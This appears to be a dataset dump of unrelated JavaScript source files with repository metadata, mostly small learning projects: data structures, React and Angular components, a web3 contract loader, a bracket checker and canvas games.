this.ball = new Ball(game,200,400,10,10,0,0.5,.1);
this.platforms = new Platforms(game);
this.actors = [];
this.actors.push(this.platforms... | true |
3228521fb864527b92d59e9cbc8aa013c448c682 | JavaScript | akileez/toolz | /src/archive/gunzip-multi.js | UTF-8 | 1,267 | 2.609375 | 3 | [
"ISC",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | // https://github.com/eugeneware/gunzipMulti
// Copyright (c) 2016, Eugene Ware (BSD-3-Clause)
var spawn = require('child_process').spawn
var combiner = require('../stream/pumpify')
/*
The current node.gz zlib gunzip library has a bug where it doesn't correctly compress gzip files which are the concatenation of mult... | true |
153dc46627ad44d41c3660448234cffd8635857a | JavaScript | HarrisonA/ShouldIGo | /client/app/tags/tags.js | UTF-8 | 2,085 | 2.6875 | 3 | [] | no_license | angular.module('myApp.tags', [])
.controller('TagsController', ['$scope', 'TagFactory', function ($scope, TagFactory) {
$scope.userInput = 'warriors';
$scope.data = [];
$scope.formatDate = function (timestamp) {
var date = new Date(timestamp * 1000);
var hours = date.getHours(); // Hours par... | true |
589b0169995349a03a6504657cae302daa240a0e | JavaScript | gokhantamkoc/learning-es6 | /11-modules/app/fellowship.js | UTF-8 | 275 | 3.03125 | 3 | [] | no_license | // How do other files access this data?
// export keyword does that :)
//Let's export the fellowship array below
// const fellowship = ['Frodo', 'Sam', 'Gandalf'];
const fellowship = ['Frodo', 'Sam', 'Gandalf'];
const total = fellowship.length;
export { fellowship, total }; | true |
befea4180cea256578d67473f9af2bd66559d38a | JavaScript | willsimmons/data-structures | /sprint-three/src/binarySearchTree.js | UTF-8 | 3,994 | 3.25 | 3 | [] | no_license | var BinarySearchTree = function(value) {
var bST = Object.create(bSTmethods);
bST.value = value;
bST.left = null;
bST.right = null;
bST.parent = null;
bST.count = 1;
return bST;
};
var bSTmethods = {};
bSTmethods.insert = function(value) {
if (value < this.value) {
if (this.left === null) {
... | true |
a9d9f3be53fce19c36c6a3ee9bee35ec4e226bbb | JavaScript | tom-cloggs/VendaUAT | /resources/js/Venda/Widget/RecentSearchItems.js | UTF-8 | 5,193 | 2.921875 | 3 | [] | no_license | /**
* @fileoverview Venda.Widget.RecentSearchItems - cookie based recent search items.
*
* This widget enables us to set a cookie each time a user searches from the keyword search field.
* Adapted from RecentlyViewedItems
* @author Dan Brook <dbrook@venda.com> and Nabi Arshad <narshad@venda.com>
*/
//create na... | true |
0ebf9709a82f3f76f39882fda55d6647e4dd49ae | JavaScript | moiseenokv/brackets | /src/index.js | UTF-8 | 474 | 2.6875 | 3 | [
"MIT"
] | permissive | module.exports = function check(str, bracketsConfig) {
beginLength=str.length;
for(k=0; k<=bracketsConfig.length-1; k++){
var suchen =String(bracketsConfig[k][0]+bracketsConfig[k][1]);
str = str.replace(suchen,'');
if(beginLength > str.length && str.length!==0){
check(str, bracketsC... | true |
d17a9751294649100726ea00e371018c7c477a17 | JavaScript | danimatuko/gocamp | /frontend/src/pages/PlaceOrderPage.jsx | UTF-8 | 4,128 | 2.546875 | 3 | [] | no_license | import React, { useEffect } from "react";
import { Image, ListGroup, Row, Col, Button } from "react-bootstrap";
import { useSelector, useDispatch } from "react-redux";
import { Link } from "react-router-dom";
import CheckoutSteps from "../components/CheckoutSteps";
import Message from "../components/Message";
import { ... | true |
36c66bf90ec7d6fabd734bd0ebb1ef16bf04d233 | JavaScript | GeraldHost/8-bit-elon | /web/src/ethereum.js | UTF-8 | 1,582 | 2.515625 | 3 | [] | no_license | import Web3 from "web3";
import { contractAbi, contractAddr } from "./contract.config";
let web3, contract;
async function loadContract() {
return await new web3.eth.Contract(contractAbi, contractAddr);
}
async function load() {
web3 = new Web3(window.ethereum || "https://node.cheapeth.org/rpc");
if (window.e... | true |
fc6b07c313d01f1f733bd1e767ec18ca643c17c7 | JavaScript | oktaysenkan/most-used-words | /src/components/organisms/Answers/index.js | UTF-8 | 925 | 2.59375 | 3 | [] | no_license | import React, { Component } from 'react'
import { StyleSheet, View } from 'react-native'
import AnswerButton from 'components/atoms/Buttons/AnswerButton';
export class Answers extends Component {
render() {
let { answers, correctAnswer, onPress, showResult } = this.props;
const choices = ['a', 'b', 'c', 'd',... | true |
8fcd3096f9d6eafc1dd5b4abab9e66ad74a48ae3 | JavaScript | fanshi1028/poke | /lib/helpers/Query.js | UTF-8 | 479 | 2.515625 | 3 | [
"MIT"
] | permissive | "use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.stringifyQuery = void 0;
function stringifyQuery(query) {
// compose query
const queries = Object.keys(query)
.reduce((queryStrings, key) => {
// append query pairs
queryStrings.push(`${key}=${query[key]... | true |
fe64f80dc2792774a4ab8c3bef3edda3668134b1 | JavaScript | hazyair/hazyair-plantower | /parser-plantower.js | UTF-8 | 1,740 | 2.640625 | 3 | [
"ISC"
] | permissive | 'use strict';
const Transform = require('stream').Transform;
const debugTrans = require('debug')('PT_PROTO.TRANS');
const HEAD1 = 0x42;
const HEAD2 = 0x4d;
class PlantowerParser extends Transform {
constructor(options = {}) {
super(options);
this.buffer = Buffer.alloc(0);
}
checkDat... | true |
8ebd90ef00d544a3e5cb6969e23bb3c0ae2b08d1 | JavaScript | carolina-silvag/clasePractica2 | /assets/js/app.js | UTF-8 | 692 | 2.53125 | 3 | [] | no_license | $(document).ready(function(){
var itemsImg = $('.slider li').length;
for(var i = 1; i<=itemsImg; i++){
$('.pagination2').append('<a href="#"><span class="fa fa-circle"></span></a>');
}
$('.slider li').hide(); //ocultar todas
$('.paisaje1').show(); //mostrar
$('.pagination2 a:first').css({'color': '#1... | true |
cc3f85eba6acf6145e8b999ef5da16f02d7d30e6 | JavaScript | dtvthethe/dont_delete_reactjs | /src/StateCal.js | UTF-8 | 584 | 2.828125 | 3 | [] | no_license | import React, { Component } from 'react';
class StateCal extends Component {
constructor(props) {
super(props);
this.state = {
value: 0
};
}
handleOnIncrement() {
this.setState({
value: this.state.value + 5
});
}
render() {
... | true |
7cabb85fdbe8b8a96ce65498a6d2fb7361244a67 | JavaScript | kaustubh77/Covid19-Dashboard | /nationalitywise.js | UTF-8 | 909 | 3.078125 | 3 | [] | no_license | var url2 = "https://api.covid19india.org/raw_data.json";
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var myArr1 = JSON.parse(this.responseText);
ageData(myArr1);
// getAll(myArr1);
}
}
function ageData(my... | true |
e43947db5743ad54f724f3d9768a66aac4646a74 | JavaScript | sinvalfelisberto/JS_Udemy | /Fundamentos IV - OO/009heranca03.js | UTF-8 | 599 | 3.765625 | 4 | [] | no_license | const pai = { nome: 'Pedro', corCabelo: 'Preto' }
const filha1 = Object.create( pai )
filha1.nome = 'Ana'
console.log( filha1.nome, filha1.corCabelo )
filha2 = Object.create(pai, {
nome: { value: 'Bia', writable: false, enumerable: true }
})
console.log( filha2.nome )
filha2.nome = 'Carla'
console.log(... | true |
c76f8bfcb1aa40780cdfc76a8a71e90b53d80df2 | JavaScript | blasrodriguez/javascript-exercises | /removeFromArray/removeFromArray.js | UTF-8 | 300 | 2.8125 | 3 | [] | no_license | const removeFromArray = function(originalArray, ...elementsToDelete) {
var filteredArray = originalArray.filter(function(originalArrayElement) {
return elementsToDelete.includes(originalArrayElement) ? null:originalArrayElement
});
return (filteredArray) ;
}
module.exports = removeFromArray
| true |
22e40ed84d9cf736e68759396f7b0ee855690350 | JavaScript | tarunmitra/es6-practice-bangla | /arrow.js | UTF-8 | 1,046 | 4 | 4 | [] | no_license | // kono akta sonkha ke double kore dilam
/*
function doubleIt(num){
return num * 2;
}
const result = doubleIt(5);
console.log(result);
*/
/*
const doubleIt = function myFun(num){
return num * 2;
}
const result = doubleIt(5);
console.log(result);
*/
//es6 er function declear er shot niom
// function er nam paramit... | true |
b0ecdad18a9798ec0d0ab28b9bfbce6790200ca5 | JavaScript | sophiablitz/msd | /CS303/w1d2/w1d2_practice.js | UTF-8 | 3,039 | 3.953125 | 4 | [] | no_license | "use strict";
/**
* Slides: https://online.cs.mum.edu/access/content/group/f36f088a-b353-4765-bb36-1fd3d8656940/lectures/w1d2codeQuality.pdf
*
* Exercises: https://javascript.info/coding-style#tasks
* Bad style
*
* Exercises: https://javascript.info/ninja-code
* Read Ninja Code and write real rules implied b... | true |
72211d49918d82dab12e7cc8334d9aa4cf007ab1 | JavaScript | MrJoshua2282/quoteMachine | /src/Container/QuoteBox/QuoteBox.js | UTF-8 | 3,147 | 2.609375 | 3 | [] | no_license | import React, {Component} from 'react';
import axios from 'axios';
import './QuoteBox.css';
import Twitter from '../../assets/svg/twitter';
import Tumblr from '../../assets/svg/tumblr';
class QuoteBox extends Component {
state = {
randomQuote: '',
randomAuthor: '',
colorsPrimary: ['purple... | true |
ddae9bd12a2e7f0532bfa422504095a24f88e58e | JavaScript | GAKINDUSTRIES/javascript-algorithms | /arrays-and-strings/revealCardsInIncreasingOrder.js | UTF-8 | 2,483 | 4.375 | 4 | [] | no_license | // https://leetcode.com/problems/reveal-cards-in-increasing-order/
//In a deck of cards, every card has a unique integer. You can order the deck in any order you want.
//
// Initially, all the cards start face down (unrevealed) in one deck.
// Now, you do the following steps repeatedly, until all cards are revealed:
... | true |
12f0c1478ffd06b8c93e69f0e2b318bf7004846e | JavaScript | oliverbob/atomjs | /server/app.js | UTF-8 | 2,210 | 2.65625 | 3 | [
"MIT"
] | permissive | 'use strict';
var express = require('express'),
http = require('http'),
fs = require('fs'),
path = require('path'),
url = require('url'),
staticRoot = path.join(__dirname, '../', 'public'),
siteRoot = '/',
bootstrapPath,
bootstrapFile,
port = 80,
bootstrapContents = null,
app = express();
// command ... | true |
22396bab7c2088845958d4772a70672b2b7d2e9d | JavaScript | Jeremiah-Ng/hfoueajdiskjsadbckjqqjckbsiahoohwinjqdjnqidhsaochaodhwjhadkjcwbjlkbcalhsougflqwjebkhdsajkbchoiafkjeh | /main.js | UTF-8 | 4,847 | 3.140625 | 3 | [] | no_license | canvas = document.getElementById("myCanvas");
ctx = canvas.getContext("2d");
var background = "epic.jpg";
var roverio = "car1.png";
var car2 = "yeet.png"
var car3 = "lol.png";
var x = 50;
var y = 200;
var rover_width = 100;
var rover_height = 50;
var car2h = 100;
var car2w = 50;
var x1 = 50;
var y1 = 275;
... | true |
2f3eb8df85f86d8e8071211ed2118e41c3d60144 | JavaScript | ColinFendrick/rxjs-basics | /src/ajax.js | UTF-8 | 611 | 2.921875 | 3 | [] | no_license | /*
An observable will talk one to one - the subscriber.
Anytime you subscribe to the observable the execution will start from scratch.
Take an Http call made using ajax, and 2 subscribers calling the observable.
You will see 2 HttpHttp requests in the browser network tab.
*/
import { ajax } from 'rxjs/ajax';
import { ... | true |
3667c4a1f18037e27f39032231d96153b2beb8c0 | JavaScript | DBakalarski/points-sky | /calculateDistancePoints.js | UTF-8 | 398 | 2.84375 | 3 | [] | no_license | const calculateDistancePoints = (distance, hillSize, kPoint) => {
switch (hillSize) {
case 'normal':
return (60 + (distance - kPoint)*2)
break;
case 'big':
return (60 + (distance - kPoint)*1.8);
break;
case 'mamut':
return (120 + (distance - kPoint)*1.2);
break;
default:
return "Please,... | true |
84aae42f4f8d888b5c338c717872379b24ca0504 | JavaScript | qingmuAdore/jsDemo | /async/async/map/disorder.js | UTF-8 | 1,268 | 3.78125 | 4 | [
"MIT"
] | permissive | /**
* 对集合中的每一个元素,执行某个异步操作,得到结果。所有的结果将汇总到最终的callback里。与each的区别是,each只关心操作不管最后的值,而map关心的最后产生的值。
*
* 提供了两种方式:
* 1. 并行执行。同时对集合中所有元素进行操作,结果汇总到最终callback里。如果出错,则立刻返回错误以及已经执行完的任务的结果,未执行完的占个空位
* 2. 顺序执行。对集合中的元素一个一个执行操作,结果汇总到最终callback里。如果出错,则立刻返回错误以及已经执行完的结果,未执行的被忽略。
*/
var async = require('async');
var arr = [{name:'Ja... | true |
0801b3f5374bf450480b2a457884ca9a8ddc5354 | JavaScript | gazjosef/100-algorithms-challenge | /extractEachKth/extractEachKth.js | UTF-8 | 180 | 3.453125 | 3 | [] | no_license | function extractEachKth(inputArray, k) {
return inputArray.filter((element, index) => (index + 1) % k !== 0);
}
console.log(extractEachKth([1, 2, 3, 4, 5, 6, 7, 8, 9, 10], 3));
| true |
db6552400c573ffca568a10ed2f3f046c64f9fa1 | JavaScript | paarthmittal/c-32 | /sketch.js | UTF-8 | 3,997 | 2.546875 | 3 | [] | no_license | const Engine = Matter.Engine;
const World = Matter.World;
const Bodies = Matter.Bodies;
const Constraint = Matter.Constraint;
var engine, world;
var holder,ball,ground;
var stand1,stand2;
var ball;
var slingShot;
var polygon_img;
var score=0;
var bg,bgImage;
function preload(){
getTime()
polygon_img... | true |
79e82e4212cd61739f71428b5008ea2eaa547225 | JavaScript | LevEliseev/simple_practice | /hackerrank/tutorials/30_days_of_code/day8_dictionaries_and_maps.js | UTF-8 | 625 | 3.34375 | 3 | [] | no_license | function processData(input) {
//Enter your code here
input = input.split('\n');
let n = input[0], dictionary = {}, el;
for (let i = 1; i <= n; i++) {
el = input[i].split(' ');
dictionary[el[0]] = +el[1];
}
for (let i = 1 + +n; i < input.length; i++) {
(input[i] in diction... | true |
42af491d26df061bb634fe4fc07f97bff87713f7 | JavaScript | deepcloudlabs/dcl304-2020-sep-28 | /study-javascript/js/study-last-item-in-foreach.js | UTF-8 | 898 | 4.125 | 4 | [
"MIT"
] | permissive | /**
*
* @param <b>fn</b> function to apply to inner elements <br/>
* @param <b>first_fn</b> function to apply to the first element <br/>
* @param <b>last_fn</b> function to apply to the last element <br/>
*/
Array.prototype.for_each = function (fn, first_fn = fn, last_fn = fn) {
let lastElementIndex = this.len... | true |
9a0b0dea02772155c1ba270eba3308fad9549b22 | JavaScript | tobiasalvik/freeCodeCamp | /intermediate-algorithm-scripting/10-sorted-union.js | UTF-8 | 760 | 4.21875 | 4 | [] | no_license | /*
Write a function that takes two or more arrays and returns a new array of unique values in the order of the original provided arrays.
In other words, all values present from all arrays should be included in their original order, but with no duplicates in the final array.
The unique numbers should be sorted by their ... | true |
d4c813b9d8d1fe25fa971948b19dabd656583215 | JavaScript | nathaliejborst/DataProcessing | /Homework/week_6/Scripts/helpers.js | UTF-8 | 2,203 | 3.375 | 3 | [] | no_license | /**
* Loads country data from json and csv-files
*/
function loadData(error, file1, file2) {
if (error) return;
EUdata = file1;
EUjson = file2;
// Initialize both charts and svg's
initSVGs();
initCredits();
initLegend();
initBubblechart();
initBarchart();
// Set actions for button click
var high... | true |
19a16bf94530ac38050b6f796ec27137aa538e91 | JavaScript | xx-0614/xiami | /js/index.js | UTF-8 | 4,743 | 2.75 | 3 | [] | no_license | /*搜索框内容的显示与隐藏及相关样式的改变*/
(function(){
//查找触发事件的元素
var searchContainer=document.querySelector(".search-container");
var search=document.querySelector(".nav-search input");
var img=document.querySelector(".nav-search img");
//点击搜索框后,实现div的显示。搜索框样式的改变,搜索按钮图片地址和样式的改变
search.onclick=function(){
... | true |
a68f83235b3b371f86cb9a2a90e9dca97a21a3c3 | JavaScript | mjyg/fronted-end-learn | /6.4_test/test2t.js | UTF-8 | 595 | 3.625 | 4 | [] | no_license | //手写一个call或 apply
function myCall(sourceObj, targetObj, attr, param) {
const value = source[attr];
if (typeof value === 'function') return targetObj[attr](param);
return source[attr];
}
Function.prototype.call2 = function(content = window) {
content.fn = this;
console.log('this', this);
let args = [...argu... | true |